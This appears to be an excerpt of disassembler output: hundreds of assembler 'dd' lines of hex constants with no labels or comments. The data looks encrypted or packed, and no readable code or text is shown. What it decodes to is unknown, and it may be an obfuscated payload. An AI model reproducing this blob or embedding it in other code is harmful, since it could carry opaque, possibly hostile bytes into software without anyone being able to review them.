		dd 0DD29BBBCh, 0EE2111E8h, 0D99A144Eh, 218460AEh, 1AADC322h
		dd 6879CCA7h, 0A38C6EC9h, 0AB307FCEh, 4D7858ABh, 0B28072C6h
		dd 0B17E393Ah, 74867B98h, 0D21C71B2h, 0B6FA00E7h, 0F018BAF6h
		dd 0B13D6DA8h, 0A1CABB9h, 0E46F00F2h, 3CF4915Eh, 0C64443AEh
		dd 0AB1462A3h, 61B41B80h, 8C73868Ah, 0C99E3A45h, 0FB037163h
		dd 887B05E9h, 0A93A017h, 0DE1E73FAh, 0AE903174h, 963526E3h
		dd 0EC470299h, 73C06582h, 0C363787Ah, 0F2196EF2h, 50025A92h
		dd 0B7D152EBh, 0DBDE4EADh, 0D3B745A8h, 8E1F0697h, 3AF227ACh
		dd 9C3737C7h, 0F1D72149h, 0E4A98DA3h, 0F4182EC5h, 8EFE244Fh
		dd 0C4FE55AAh, 9E622391h, 0DBD67428h, 836E1577h, 0CFC157DFh
		dd 92E8A1Dh, 0C376EDA8h, 0AA2DC6Ah, 0D1D60ECh, 0E15D723Bh
		dd 449440B9h, 5D6A1512h, 0CB76381Bh, 0C113963Fh, 0E004D783h
		dd 4CD01083h, 420A1DA4h, 0FC1701C2h, 0CD632816h, 8C3827B5h
		dd 0F57A47ACh, 4CAA3CADh, 2B2426B2h, 14167E7Bh,	0EC2FCC39h
		dd 0F8572FF4h, 0B37635F0h, 4DA8C2Ah, 0EC5270A5h, 0FF66ABA1h
		dd 0F5D053EAh, 74AF62AEh, 377550DEh, 242D4860h,	0AB1770C1h
		dd 0A19878D4h, 0AFDA0641h, 191771ACh, 0C860CBC2h, 0C61EB648h
		dd 0B2FE9EACh, 0F11B7916h, 0A02207A2h, 0A4A0ECF0h, 0BE750018h
		dd 0F723766Fh, 9FF43525h, 0AEB7944Dh, 0AEF142A3h, 3F43EF53h
		dd 99447189h, 886FB3B9h, 66FFB1D6h, 2D1FA1CCh, 0CD1615CAh
		dd 448B17EEh, 0C0085BC1h, 0EC854054h, 0E4A915C1h, 87D7036Ah
		dd 0FB25AED4h, 9D8323FBh, 9E3A08CAh, 0E22155EEh, 0D36B1822h
		dd 0A137A249h, 0B6F7BAA4h, 0CA40A244h, 687AC2E3h, 3922F790h
		dd 0C52A2DE1h, 0C6A67341h, 0B1573936h, 0E2B867FCh, 0D25A74F5h
		dd 0A2837B44h, 77604A6h, 48849092h, 7C7F1C86h, 0AB003DA7h
		dd 0E1217BFCh, 0B1776F94h, 6CD10E43h, 0D159CE85h, 0B89A4907h
		dd 0B73815CDh, 0D47A668Eh, 0C27C77A5h, 0EDCF7ED2h, 88C6A5A5h
		dd 98093BD2h, 9B6033F1h, 825C627Ah, 1072AB46h, 0B864127Eh
		dd 51B41F6Ch, 6F7A7B3Bh, 96FA073Eh, 7D15AE1Dh, 0FA4EECAAh
		dd 0A16A7686h, 3EE8413Eh, 0E43525B5h, 0E42352F7h, 0AB6F30B4h
		dd 9C456094h, 0B2597E89h, 8128589Eh, 0ACE7E37Ah, 0B079E8FCh
		dd 0BA552AB3h, 9A3240F5h, 40425D81h, 35782C56h,	8D2F78B5h
		dd 0F53E79FBh, 845A86F6h, 81367DFBh, 2138E817h,	0F06408F8h
		dd 0E52C6CADh, 0A95F7FF0h, 0A56F6C8Ah, 3EE8D287h, 0BB49579Bh
		dd 0E9565F85h, 886D51F6h, 0AA707AB5h, 3EE81B80h, 13BE87Eh
		dd 0BC4647FFh, 8A2872E9h, 97765AE6h, 0EA6332BCh, 0ED3A7183h
		dd 0B62857E5h, 87334B9Eh
		dd 3EE8D73Eh, 873838F4h, 0F97D2D94h, 955F7586h,	0BD552F9Ch
		dd 943029A0h, 0E65C36F4h, 3EE84798h, 0F546A07Eh, 835764BCh
		dd 0F67055ADh, 0A23A36B3h, 857D5DB3h, 936D27E0h, 0BD3257EFh
		dd 1A1CE83Eh, 0FF4955A9h, 0AE5A4589h, 88517CF7h, 803941AAh
		dd 0AF6D3896h, 3EE85C82h, 0E764FA3Eh, 0F03123F4h, 913573AFh
		dd 0FA272A38h, 9F447DA2h, 0EB2524A4h, 0B3472984h, 3FE820F6h
		dd 8470A0CAh, 0E4554798h, 0BD577C9Ah, 0A7306388h, 0A0446C9Ch
		dd 99C84999h, 0D6D80139h, 0A15F4590h, 0E48224E8h, 0E4345C82h
		dd 0AEAA58AAh, 9033C33Eh, 0AB643DAAh, 0A35249E0h, 90667497h
		dd 0E2627DA2h, 3EE8E83Eh, 985E3590h, 0A35E76B7h, 94503D97h
		dd 80306CECh, 0BD3C2AE6h, 8C505DE8h, 0F84D6F91h, 0F4342195h
		dd 0BE96E83Eh, 0E3392347h, 0A64B3480h, 0E949748Ch, 0E55627B6h
		dd 0F24236E7h, 82267882h, 31E848E9h, 825742E2h,	924726BCh
		dd 0E5293EA0h, 0A24236B3h, 31FA628Eh, 9E40E8CAh, 0B477648Ah
		dd 953E64E4h, 943B3EB8h, 0A17A6493h, 7DC7E8D7h,	5C3EAFFCh
		dd 0E150269Dh, 8E7478EBh, 0AA943BAAh, 825BE897h, 0E92233A5h
		dd 0B95B4383h, 1EEF2AC7h, 967DE8BEh, 0FD64229Dh, 0E8292AEAh
		dd 0BD33328Fh, 0AD61379Fh, 0AA3F27C7h, 0D3E829A5h, 746BE8CAh
		dd 0AE4F3EFCh, 0FA6254EFh, 8227669Fh, 0B5674D97h, 3DE8E9EBh
		dd 0EF3EE8E9h, 0F72F6BE7h, 8D533180h, 85216EB4h, 0FA6B25EDh
		dd 25E34FA6h, 1EA20C3Eh, 0B85836E0h, 0F3437083h, 0B06B74A3h
		dd 0A3211F95h, 0A9BC4E83h, 0FE2B117Eh, 88653984h, 9C9A3F8Ch
		dd 1FDAE8D6h, 0F5CD6DE8h, 0E33242EDh, 0A5226782h, 0A10838E0h
		dd 444C923Eh, 0A879EAE9h, 0B92E6EF5h, 0EE474C9Fh, 6BC227C3h
		dd 0C876E88Ah, 0E44B5CAAh, 0B04D509Bh, 6EC5D9Fh, 996E1C1Eh
		dd 8D472E48h, 502D2C82h, 8A645896h, 0C7E8420Dh,	0FA3120BFh
		dd 0E96446F4h, 9973619Ah, 0E73B2386h, 86CC39EAh, 3E66E887h
		dd 0F12B7284h, 152F508Eh, 0B15B4B9Ah, 0A93635ABh, 0F6E9C7A4h
		dd 923DA03Eh, 0FD2061ACh, 0E1C16CB7h, 0F35C4E9Ah, 0F075508Fh
		dd 88367080h, 20E848A1h, 95605D96h, 0BC772AE5h,	0E0943AF2h
		dd 0E96A5328h, 0BEFE7491h, 842BE83Eh, 0A45763E5h, 0E44A54A7h
		dd 0A9522EF4h, 0ED762ABDh, 854E48CFh, 0EF215494h, 0AEE8383Dh
		dd 0FB413B80h, 9E7D41E7h, 0F0596BE2h, 0E5217EBCh, 57442ABBh
		dd 3EE835BAh, 0BA49123Fh, 0A462248Eh, 0E74E4344h, 0EC2C4AA4h
		dd 0F1742CF3h, 0A1374B8Fh, 0E4E96283h, 88219264h, 0E3625EBFh
		dd 9C3D33FBh, 7EE6488Bh, 8940E83Eh, 0BB3574E9h,	9B4360F9h
		dd 0F4576392h, 944B4CB9h, 0A0583883h, 0BC3752EAh, 7BE71C9Ch
		dd 904520E6h, 8DE59895h, 0ED4E5586h, 3EE823CBh,	0E8407FFAh
		dd 865029A4h, 0FA4A60AEh, 0A6516291h, 8B5C317Eh, 0CD2D20DBh
		dd 0DB422BF3h, 0BDF45AEEh, 8E653261h, 0FC2A2722h, 0D6322DB3h
		dd 0DABA409Ah, 0B346A83Ch, 8F3C39FFh, 9A2CFEA2h, 8D466AB6h
		dd 37E821BAh, 0FB75C134h, 0C64028E7h, 922CD4E0h, 834C1793h
		dd 0E82060BCh, 2B38E21Eh, 0AD59EBBDh, 7F444288h, 0EB7060A6h
		dd 0FE5266B8h, 9DE72891h, 0EECF009Fh, 0F9576E95h, 727861F9h
		dd 1B82E856h, 8A236D72h, 0EE2635EEh, 0B86E2290h, 0A85DBA8Bh
		dd 3BE8EF9Eh, 0E5626CE3h, 0F02C4BB5h, 8D3637A1h, 0EA4060BBh
		dd 965B30A6h, 0EE6166B7h, 90F437D8h, 0C4A010DFh, 6CC77644h
		dd 0D25C70EFh, 7C7D458Dh, 7B79D793h, 0C79A9A6Ch, 732078Ch
		dd 16225DCBh, 0EC116743h, 0D57664DFh, 0C55A1C0Ch, 0CA0ADAF3h
		dd 6322F091h, 8233EB1Ch, 906308BDh, 0E75457F7h,	8E6859Ch
		dd 5674E838h, 0B927338Ah, 83775CF6h, 0FD664EEFh, 0E76B5087h
		dd 0BDEC5EAFh, 87674C92h, 816264F1h, 932658F3h,	0C16F63D9h
		dd 7EC35360h, 0A72618ECh, 0EC737DB7h, 0A37EA8F1h, 11707766h
		dd 3027B3D9h, 5F6475B7h, 0A4D6626Fh, 0A41EE4B7h, 0AE7662E7h
		dd 0B810407Dh, 8A5CAAEEh, 0FD453882h, 9EFE43AEh, 3D5B18C3h
		dd 7653749Bh, 0F5595FA2h, 4C5570E6h, 0F67CF4BEh, 0F35E6080h
		dd 96A74DFAh, 76F6C367h, 0A54AE93Eh, 0A235248Fh, 0B16D74BBh
		dd 0F65F3C82h, 824C426Ah, 3FEB5C82h, 0B859EEF8h, 0BC6B2AE1h
		dd 0B1655AB6h, 0A7F7D7Fh, 8F5FE195h, 726937CAh,	3EE814EBh
		dd 861528E5h, 0C41114C5h, 0C81D10C9h, 0CC191CCDh, 0D00518D1h
		dd 0D41D04D5h, 3E01EB3Eh, 0D80D00D9h, 0DC090CDDh, 0E03508E1h
		dd 0E43134E5h, 0E83D30E9h, 0BEF63CC3h, 7227C176h, 0F2A726F3h
		dd 1D2D21F6h, 0FC292CFDh, 9C7728CAh, 25749681h,	0A6C6EFA7h
		dd 0C77A7D3Eh, 0AD7AE7AAh, 0B0487962h, 0B66F62B7h, 9AE86EBBh
		dd 3A4BE8CBh, 9E774A9Fh, 0BD6A08BAh, 419669BEh,	45929542h
		dd 49E89146h, 3E9EE83Eh, 4D9A9D4Ah, 5186994Eh, 55828552h
		dd 598E8156h, 5D8B8D5Ah, 61B6895Eh, 65B2B562h, 69E8B166h
		dd 3EBEE83Eh, 6DBABD6Ah, 71A6BA6Eh, 75A2A572h, 79AEA176h
		dd 7DAAAD7Ah, 1D6A97Eh,	5D2D502h, 9E8D106h, 3EDEE83Eh
		dd 0DDADD0Ah, 11C6D90Eh, 15C2C512h, 19CEC116h, 1DCACD1Ah
		dd 21F6C91Eh, 25F2F522h, 294DF126h, 3EFEE83Eh, 2DFAFD2Ah
		dd 31E6F92Eh, 35E2E532h, 39EEE136h, 3DEAED3Ah, 0A227E93Eh
		dd 0CA9AC143h, 0B94F5174h, 2601A7CAh, 92A424C7h, 5B0737C8h
		dd 0C64498A0h, 0E36170D3h, 0E31C0DF6h, 0C49C6CCAh, 0C2214326h
		dd 0AD2C6E12h, 0C65C04A3h, 8C5055C2h, 0D35D123Bh, 80554382h
		dd 4A61543Fh, 0C110004Ah, 0B91714E4h, 0E08215C6h, 0C1080C58h
		dd 0E0D62505h, 0AF39B2D1h, 0AF97C0EEh, 2A012C5Ah, 7F2A28C4h
		dd 863A2673h, 0CE393EEAh, 4CDEE9Ch, 7E6700E8h, 0B26076B2h
		dd 0FAE373CBh, 0B2C2C2A8h, 0E92C241Dh, 0BD4452AEh, 8BCB6710h
		dd 0A04012B7h, 8AD243CCh, 3237795Ah, 0B3376E4Dh, 0A5947008h
		dd 877403EEh, 0B83A5F76h, 0AF284DECh, 542C55A4h, 4AAA1693h
		dd 0B32812E4h, 7D5564C9h, 0B69E55C8h, 0A30E2FFCh, 1A0F04FAh
		dd 0D743477h, 0F87183E7h, 15110CB7h, 982AAC98h,	0BE962C82h
		dd 480172FEh, 0D055B735h, 3624C4A2h, 81F1D7EAh,	0C6C74C90h
		dd 0DA76719Ah, 0B1049EE6h, 99AEBF7Bh, 2420D67h,	299D1885h
		dd 0F256572Dh, 745659C1h, 55021945h, 866E6796h,	6C16BD86h
		dd 48CDF7A4h, 225621A0h, 9E74D1EEh, 0B436DAEEh,	83FB7168h
		dd 0C947748Dh, 460A0DFEh, 0A42E5169h, 0F1312A8Ch, 6E6DEF47h
		dd 0FC3400D8h, 0A02632F2h, 1CCC323Ch, 0A22712D3h, 0AD7312F7h
		dd 0F12419A5h, 0A47539B6h, 4D961C03h, 429F2590h, 9B3D9C0Ch
		dd 458678C4h, 744E0D8Dh, 698F7DCFh, 51346D7Ah, 0E796CC53h
		dd 6C4C5680h, 0C8761277h, 3ECBDAA9h, 0F5A325EEh, 0A47A7AF4h
		dd 0FC917B4Bh, 0E7CF61ADh, 810C552Ch, 0E7F05722h, 0EC51F497h
		dd 0FC7222F4h, 4DD570F7h, 88E9CF4Fh, 0D087100Ah, 0E6309995h
		dd 947CFD09h, 4ADEE8E1h, 1F765FE0h, 0DB38104Dh,	157F1976h
		dd 0F9FCCC1Bh, 95F76FE6h, 371D119Dh, 0E25ACCD4h, 490E4539h
		dd 0E42C3F8Eh, 0F71474A8h, 0EC795921h, 17FD0006h, 0CA441CF4h
		dd 8FAE5E8Eh, 0CAD33026h, 856257E7h, 0FBC67EA5h, 0ACE53B4Bh
		dd 0CA337A73h, 0F940D4F8h, 520F93C7h, 0D3CA19B9h, 0ABB71791h
		dd 54350169h, 1373A79Eh, 0B1D59A89h, 0B7E44BFEh, 2CB760DAh
		dd 0D46DA293h, 0B5D2F0E9h, 846F729Dh, 0AF740E42h, 4A2674DCh
		dd 69EFD5E8h, 1C4065BCh, 79733B09h, 6EF467C1h, 0E051CC87h
		dd 64047B71h, 0B1D179F4h
		dd 0AA23059Fh, 3E68D3A8h, 9A1696C4h, 0A20F70A7h, 5D5616A2h
		dd 77C17C60h, 0A2683A42h, 1324A6A5h, 5B2856E0h,	321A0F8Ch
		dd 0D721DF89h, 4DDF7877h, 0F3948696h, 9E300817h, 0E34450F2h
		dd 0FCC44582h, 0B154C03h, 0C6C5044Eh, 0CC5CDE44h, 32A123EEh
		dd 1C7B9BC9h, 46C9EA4h,	2E661808h, 8E105FE4h, 0D09B54A2h
		dd 961C204Dh, 9B9541CFh, 4D5414A8h, 809D2FBCh, 5A0676F6h
		dd 74FD2CA3h, 8C5A40DAh, 0A3DF7F1Dh, 8E7301F7h,	1E2294ACh
		dd 47C712E0h, 505F3E98h, 6D9EE719h, 0C01B58F5h,	0A1D65E06h
		dd 0E78B94F3h, 71930298h, 0CF380D05h, 4318E60Ch, 0E81654D1h
		dd 27C10F35h, 37E5CAEFh, 0D41810D3h, 0D0A560C2h, 0AA8D8F68h
		dd 1004AF7Dh, 0EA566C9Fh, 0CFEA112Ah, 313C1BD6h, 4663C2A1h
		dd 35028D1Ah, 161B179Eh, 0C013C1BCh, 0B22475CAh, 0AE3CEF3Dh
		dd 9F177531h, 83064F2h,	0CE8CABC7h, 8A2BF7ADh, 0BA523C7Ah
		dd 0F61FA797h, 0D30F54DDh, 0CAD335F7h, 22A543B6h, 0D61BCFA0h
		dd 0B1622BB0h, 0E18536E5h, 6E44143Ch, 6D07C720h, 0FD1C6F84h
		dd 4FC9BF3h, 0A490FC08h, 0E127D669h, 498CFB47h,	0B125F862h
		dd 0A01764C5h, 0CECEF9D5h, 0C5D78487h, 0C018CD87h, 0C1E81CC0h
		dd 0E011CEEDh, 4AE71397h, 0C38ED621h, 0BEEECC3Eh, 98E07DC2h
		dd 99CEE4Ah, 9FE0D158h,	8D49E9ABh, 4AD6140Bh, 42E88EC8h
		dd 3CF5E8DAh, 0C67D14B5h, 33141399h, 8556D94Ch,	242159Fh
		dd 42FB9C2Dh, 97E84792h, 3E24E01Ah, 0F2DECC96h,	41D59D10h
		dd 0CCDD56D6h, 271C9F91h, 381D7642h, 0BCEC9FD1h, 5F1FA81Ch
		dd 0DB5627D2h, 0BDCD18DBh, 0CDD19C84h, 0EA14522Fh, 93674A3Ah
		dd 1639F8EEh, 0C962FBABh, 1AE81F12h, 482CB93Ch,	0B51BD498h
		dd 165263CAh, 3DFC9E84h, 9CEB1448h, 3AD686B4h, 3D9CCB2Fh
		dd 14F7D9D3h, 8D4E2058h, 61A9CF7h, 0B679CC56h, 6F9E0470h
		dd 589C4235h, 3E1EEF44h, 0AAA9E79Ch, 962CEABDh,	0CD3DC8B4h
		dd 0C58EE7ABh, 0F7929EE4h, 74FAE877h, 0F21ED7BFh, 634DEFFDh
		dd 0CEA119C9h, 9E817CAh, 2C78E876h, 201F1000h, 2E3F5DB4h
		dd 0FF4D1Ah, 85120D4Bh,	0C751A749h, 7E7B6C3Ah, 2FE803C7h
		dd 0B4C75A39h, 0CC51D1C7h, 875414CBh, 37E8451Ah, 6AE365BFh
		dd 0C0E09A89h, 134CFDAh, 2AC5D6B5h, 7AEC5DFAh, 8CE3CB3Ch
		dd 4A6A6ACAh, 0CAC059FEh, 2114F5C9h, 0AF806B26h, 6C03F237h
		dd 0BD6994Ah, 8D1AFE95h, 0C7781923h, 5458A01Eh,	11927EEAh
		dd 0D80DC5BFh, 0DD159C18h, 77EA9C3Fh, 792A781Ch, 9ADC1732h
		dd 0C2E49420h, 339CBDC2h, 0B01CE29Eh, 3E171A1Ah, 8D4499Ah
		dd 0C55E414Ch, 0BF49F985h, 9BEC46C9h, 0C01A0477h, 0D17D57AAh
		dd 4CF02099h, 2C715F3Ah, 849CF4Ch, 0BD5F1238h, 0CD15DF49h
		dd 0DA157D1h, 0D16976DAh, 0CD4044F2h, 4F6729B7h, 0EC1FCEDFh
		dd 0FD5728F1h, 1237444h, 981CD4C6h, 2A159C19h, 11E7A0BCh
		dd 9F0A00E7h, 3769E844h, 0FF626248h, 0CABACC3Eh, 8E62A575h
		dd 38391E41h, 491F62C5h, 0C9375786h, 0CCC8876h,	0C52A69C4h
		dd 0BF1C6BCBh, 0BC1100BEh, 0B5F6FCECh, 0D863C8B5h, 0C4941EB4h
		dd 0BDFCE881h, 79A1A10h, 7EE4912Ch, 0C59DD62Bh,	315743D4h
		dd 0C3E7C0CEh, 7BA01318h, 0ED94AC81h, 0E356D0C2h, 0DE576BCFh
		dd 0FAFB14CCh, 0CB579277h, 0CD6264ABh, 9E0486D3h, 9DAFB1F6h
		dd 0C016D181h, 0C27D9C02h, 0D460013Eh, 7EAA7425h, 0D22433C4h
		dd 241D781h, 0C12F40ABh, 0B06F2496h, 0BAB40BF0h, 0AE63EA8Ah
		dd 0B3EDF6C4h, 58AEE817h, 0C1E024A1h, 0BFE5E617h, 6E1ACECEh
		dd 0C89C66A1h, 9F57D09Eh, 77532AEDh, 0A205ABE8h, 0FC612887h
		dd 12F1775Eh, 0D014FCCFh, 0C2D1114Ch, 2E85D2EFh, 0AF44248Ah
		dd 4AE535C4h, 2DD50D3Dh, 0E87EBB93h, 0C87C97EAh, 0C208D7C6h
		dd 5A116CE0h, 0F2E153C8h, 0F44851EAh, 0DB2557BFh, 0FD41584h
		dd 0EEA7C72h, 10F70F86h, 4A3F3CE0h, 98A771FCh, 0D050331Eh
		dd 0F80C2CD9h, 863D9CCCh, 0F0643589h, 7712DCDFh, 0EAA0644Ah
		dd 71379CFDh, 0E35F70A2h, 0EB5E005Fh, 836DA9DEh, 0B507BFC0h
		dd 0AD1F0971h, 2A027819h, 0BE776577h, 0F8AC32E5h, 3456A764h
		dd 0C7A75017h, 0C6B5090Fh, 0FA7B24E5h, 0E314A785h, 0BDFB07ACh
		dd 0FD8DA640h, 4C23D9FAh, 463297F1h, 9626137Ah,	2FDEB48Ah
		dd 39CCE945h, 2148D812h, 0ABE114A6h, 0A00E4993h, 3DB31EBAh
		dd 1E7313C4h, 0DE10049Bh, 0F8B8DA31h, 7C4C1120h, 29528512h
		dd 0EA7762C8h, 0FE5E18FAh, 8232414h, 1E160C86h,	0D5407673h
		dd 0C28CCE71h, 0B7C123A0h, 8CE882F6h, 183E4A39h, 0AA1005C7h
		dd 6FBCD89Eh, 9E05FE08h, 0F55B955Ch, 0CC7C5143h, 373D5D7h
		dd 11C1CA28h, 0D87305FFh, 0F58316F9h, 0DE1F14B0h, 0E89E7818h
		dd 7214BBF5h, 376D689h,	4406C40h, 0EDDE9F7Ch, 3AC622D1h
		dd 2292E985h, 0D3207B83h, 7F398197h, 0C405E74Bh, 0D13CF2C7h
		dd 1712FB0Bh, 3E9EA291h, 1962E8DBh, 1A7A16h, 31BA29Ch
		dd 0CFC38830h, 0D5E82DDBh, 0B5336C1Ah, 0C46C670Fh, 8533674Ah
		dd 0E4701F9Fh, 0A62CAFEAh, 49D2962Dh, 9F3D3823h, 97630D3Ch
		dd 0F9172441h, 4C6FBC6Dh, 0AB34E82Bh, 9047CBC1h, 0AFF0F62Dh
		dd 778A0FF4h, 30E7F788h, 0C9E34239h, 61C2C01Bh,	630D362Ah
		dd 9BEF49BBh, 8E13BA01h, 0F242BB98h, 54D609CEh,	993F9D00h
		dd 411BE3D2h, 39A794A4h, 0CC4BDE4Ah, 19F3EC7Eh,	0AB577DDDh
		dd 9074E816h, 4BA07778h, 0F16AC91h, 0EE6D08A9h,	0AD7A9CDCh
		dd 6CA8DA77h, 3EF7612h,	96E8352Bh, 4E34C8A3h, 3D319EBCh
		dd 0E39CB7B4h, 0E6119FAh, 871B0B4Ch, 7AD39EAAh,	0BC07A08Ch
		dd 0B71C2C16h, 0CAEB5F39h, 41ACDE7Ch, 10F6A42h,	0B4FDE8D2h
		dd 84E85693h, 15D847EDh, 3FEAC4C5h, 0A937EB91h,	8C1F21h
		dd 236430DCh, 0D9489405h, 6A9921A1h, 0C45F67E5h, 0CAFA1F53h
		dd 88E46ED3h, 9813407Fh, 5A5CD6C7h, 3A68A33Dh, 1002ECC1h
		dd 7A20814Dh, 0FF8DD098h, 9342AF83h, 910D1BB9h,	7661CC04h
		dd 44432B4Ah, 29141B7Fh, 0D80901ABh, 9C92D93Ch,	51938501h
		dd 45DED7CEh, 9EF6CBDFh, 9240BA3Dh, 3E10417Eh, 79E0C144h
		dd 3A849DEh, 7A269562h,	990C007Ah, 8C87C5D0h, 0AA21D1C8h
		dd 0C40BC845h, 0A4411700h, 2EF83AA6h, 41AA76DCh, 0B46711F3h
		dd 65DF41F8h, 0A12632D6h, 0F6FB2905h, 0CD0FDBC4h, 0C016A880h
		dd 31FB489Ah, 42991144h, 0D00379B5h, 20D4D6A1h,	9210E16Eh
		dd 989DC479h, 8B460A08h, 1877462Dh, 0E7A8AF45h,	8F2137C9h
		dd 0CCFDB946h, 1B551CCh, 0F88099Dh, 0BE05F87Bh,	91AE1C98h
		dd 81C118BDh, 8CEFEF4Ch, 0B9DBEEF9h, 0DC353B7Dh, 0CA833B43h
		dd 37362BBh, 51D1E69Ch,	0C0F812C8h, 0D4211C56h,	0DF9CC6C9h
		dd 0A9CFE196h, 30DF0060h, 0AA73F71Bh, 3A9661FAh, 0B7621B37h
		dd 312C03DAh, 0CF18E4B5h, 0A688A683h, 747DA097h, 2CCF84F1h
		dd 0B662C82Eh, 73B51D58h, 0B4FC1C8Fh, 0C07560BBh, 0D9B574A2h
		dd 2F3F7F25h, 1A2C3FB5h, 0B4FE6D48h, 0ED03963Fh, 28106B25h
		dd 9A8FBECDh, 920BD270h, 0AC4D330Dh, 70F91B6Ah,	0C1BAB8D1h
		dd 0A9DB1A92h, 37BE1672h, 0F8E82E1Fh, 31A9E943h, 0D4FEC09Ch
		dd 0FAFE1E1Eh, 3E44CBCFh, 0D4941F15h, 0A17A7CFCh, 0CC303564h
		dd 412C628Dh, 0BE6165ADh, 0D322E791h, 0EA9C9B2Ah, 11FF1E7Bh
		dd 0BD66778Ch, 5A29D8FEh, 892D3AFBh, 174DE0DBh,	0CA1D3EC7h
		dd 717647B6h, 0A63D06A6h, 8A340991h, 22E1186Eh,	708F932Ah
		dd 4967874Dh, 0BCF1161Ah
		dd 374F6FCBh, 125CEB8Bh, 7A444E83h, 0A65C1091h,	0B35A0CEFh
		dd 0E620699Eh, 7CACEF77h, 0DA0F4BF7h, 0C41C9EC7h, 9EBA7DD7h
		dd 0E14774BEh, 0C51E9E87h, 59D979Eh, 2A4E9C53h,	81B9BA95h
		dd 5FF7DA48h, 8DC6830Fh, 0DA4191C8h, 13A0B229h,	412E3949h
		dd 929D8DF8h, 11FC0B30h, 7648EC3Eh, 0EF63703Ah,	0CD1D1F83h
		dd 0B4E4931Ah, 0EBCF9D1Bh, 0FF519FDDh, 0DCCAFCC9h, 5E1F923Fh
		dd 36B57FAh, 0FD1FE341h, 81119CC0h, 557D17C9h, 84CEAB4h
		dd 0FF66D1C5h, 2C6ACCEFh, 5F85AA61h, 98247FC6h,	0DAEBEA57h
		dd 97C9173Dh, 2AFD9B7h,	3F22A107h, 497185C0h, 0A7259EDDh
		dd 0ECC403CAh, 0CD150245h, 0D15976BEh, 2F9A99B4h, 0CB06AACDh
		dd 741113C7h, 0AA701F7Ch, 8F2D59CBh, 0CE944428h, 797AD1CDh
		dd 0F303C86Ch, 885193F4h, 0CC7D5187h, 0D491077Ah, 0D3040E6Dh
		dd 979236C3h, 2A2602D9h, 4550378Eh, 7821848Bh, 0B22F5Fh
		dd 1BA7999h, 47009699h,	8213D74Ch, 1C99AD7Ch, 4D3858C0h
		dd 0E661C0A7h, 8F6A20FAh, 4FCD25DBh, 0C527866Ah, 1A8189Ah
		dd 4488C6C3h, 0B49A4F81h, 0C0FC63C7h, 0EBA37917h, 41DD11CEh
		dd 0C9C52DF2h, 0CEA0F637h, 0CF6BD7F8h, 747ADEBDh, 0DCB14C49h
		dd 0FA5076D1h, 7720D17Dh, 0BC7AC607h, 0F576F03Eh, 0C2409ACDh
		dd 2BE106ACh, 0B55BB248h, 9000943Bh, 0CA9D5752h, 91BD4F0Bh
		dd 0ABEB0485h, 3A4DE2B4h, 0EF6B7F9Ah, 0B47F3ED9h, 1CBD7C3h
		dd 0FB7FFDB2h, 3D1616B3h, 4B587916h, 0E4E8084Dh, 0BC05AA98h
		dd 774813CCh, 65FCEFBDh, 6E971C81h, 3E396BF6h, 9E4DBB8Fh
		dd 1F68CC24h, 884CE3FFh, 8183144Ah, 1C2DCCE3h, 2C27C1D0h
		dd 0E14E4766h, 0B494BEE9h, 30A967B4h, 967F3F97h, 1921BDF8h
		dd 51B3799h, 0AB7609C3h, 9810441Ah, 0FCB6654Fh,	9E21C13Eh
		dd 512DA284h, 0FA41C975h, 0CD4E2C9Ch, 0F7CFE02Ch, 0DE884EBDh
		dd 0C914EE8Fh, 0C2D651CBh, 1EA11EB1h, 0C42C4CC7h, 3157D06Fh
		dd 4FC8EFCEh, 21D9BC7Bh, 0FB27220Fh, 1041184Ch,	0F9EB050Ch
		dd 19E99F42h, 5624B4DFh, 9DD4A031h, 0D377EC1Dh,	8213A44Ch
		dd 4C1DC474h, 142222D1h, 77CC8C59h, 0C013F602h,	9EF7245Fh
		dd 82EF54CCh, 0A19A576h, 42D4F5CCh, 255411CEh, 1CF85499h
		dd 0C2D4794Eh, 9CF12C0Dh, 7F35689Bh, 87226197h,	41B26FAAh
		dd 2D634E5Ch, 7E4A5292h, 33B71A62h, 7482B04Ch, 0D479E464h
		dd 47717AC2h, 8214B2FCh, 7695CFF4h, 413794AEh, 8A51744h
		dd 35FC45C5h, 441C78CCh, 3E5E9FC0h, 20185BFAh, 28519BE2h
		dd 798316DDh, 813599Eh,	4B2BF102h, 71E833C3h, 0F12B2C06h
		dd 482F773Ah, 0C5159EB9h, 9B101F8Eh, 784DA2EDh,	68032D1h
		dd 0CCA67940h, 1E4E3E90h, 0D1D1B06Ch, 17D1F6Ch,	0C0C806FEh
		dd 184D8B59h, 0FAE0A43Ch, 350F9EB4h, 5D1F9A42h,	1A10931Eh
		dd 92E39498h, 0B4102EC6h, 2AEB7F85h, 19169504h,	49B840F1h
		dd 5EF7FFFBh, 0F157C12Ch, 5F73F944h, 91409A0Dh,	15FB4F76h
		dd 3F408621h, 0C6D05C25h, 0AAC61A1Ch, 60AA943h,	0F743C096h
		dd 0F6F71F8Ah, 0B12B7BC0h, 0CC447BABh, 4D2A0CE2h, 6FC06096h
		dd 1C697455h, 22B2D6D9h, 0CD615CC9h, 0C39A513Dh, 0AE0C1DADh
		dd 7194F3A7h, 6914F1CEh, 81D52A7Ah, 0C362C9C5h,	0D76F06DFh
		dd 0D6913F0Fh, 0B405C8B7h, 982B8831h, 0CADB49DDh, 0B1FBD517h
		dd 909462E1h, 8E30DCC3h, 0CD2C71D7h, 413546FEh,	0CC610AC3h
		dd 0F39EC874h, 0A794E7D3h, 0C05DAFCBh, 3CB1629Fh, 0C81FAE28h
		dd 951B18B4h, 8B9A14B3h, 0B1D6A7CFh, 1C1139BDh,	0D965AEC5h
		dd 0DFB47DFBh, 8E4DF2C4h, 81731181h, 219DEA35h,	717B46A3h
		dd 2C355617h, 369CABC2h, 0D753EB32h, 0F23D87A4h, 2C811FEh
		dd 0D1621722h, 685F9B3Fh, 0D1FB4419h, 8FE3A6ACh, 2A104051h
		dd 0E1AE0645h, 8DFA5DEDh, 0DB20EFD6h, 0FAD6A371h, 335F63B8h
		dd 0E91113A1h, 0C9F37BC3h, 342545B6h, 902A65D5h, 3AB2B370h
		dd 0DBCFB2DFh, 0C26C1BA1h, 0C56346D6h, 0CD013116h, 0DC4CE9A5h
		dd 0F209A809h, 0BDDDE7C3h, 0A1D74848h, 421C16B7h, 481D9ED0h
		dd 0C38B4FC5h, 1F92A1h,	8126A726h, 0A152551Ah, 35BCBFB4h
		dd 7D8003D8h, 2DCD3BE4h, 7C538BCFh, 9E32E62h, 78A78DF5h
		dd 1312A511h, 0D827A83Eh, 25D1D1D9h, 0C1F39C2Ch, 0BA144F2Dh
		dd 9A334E07h, 0F971C7C7h, 10C9C75Ch, 4AD93BABh,	2CE0B35Ah
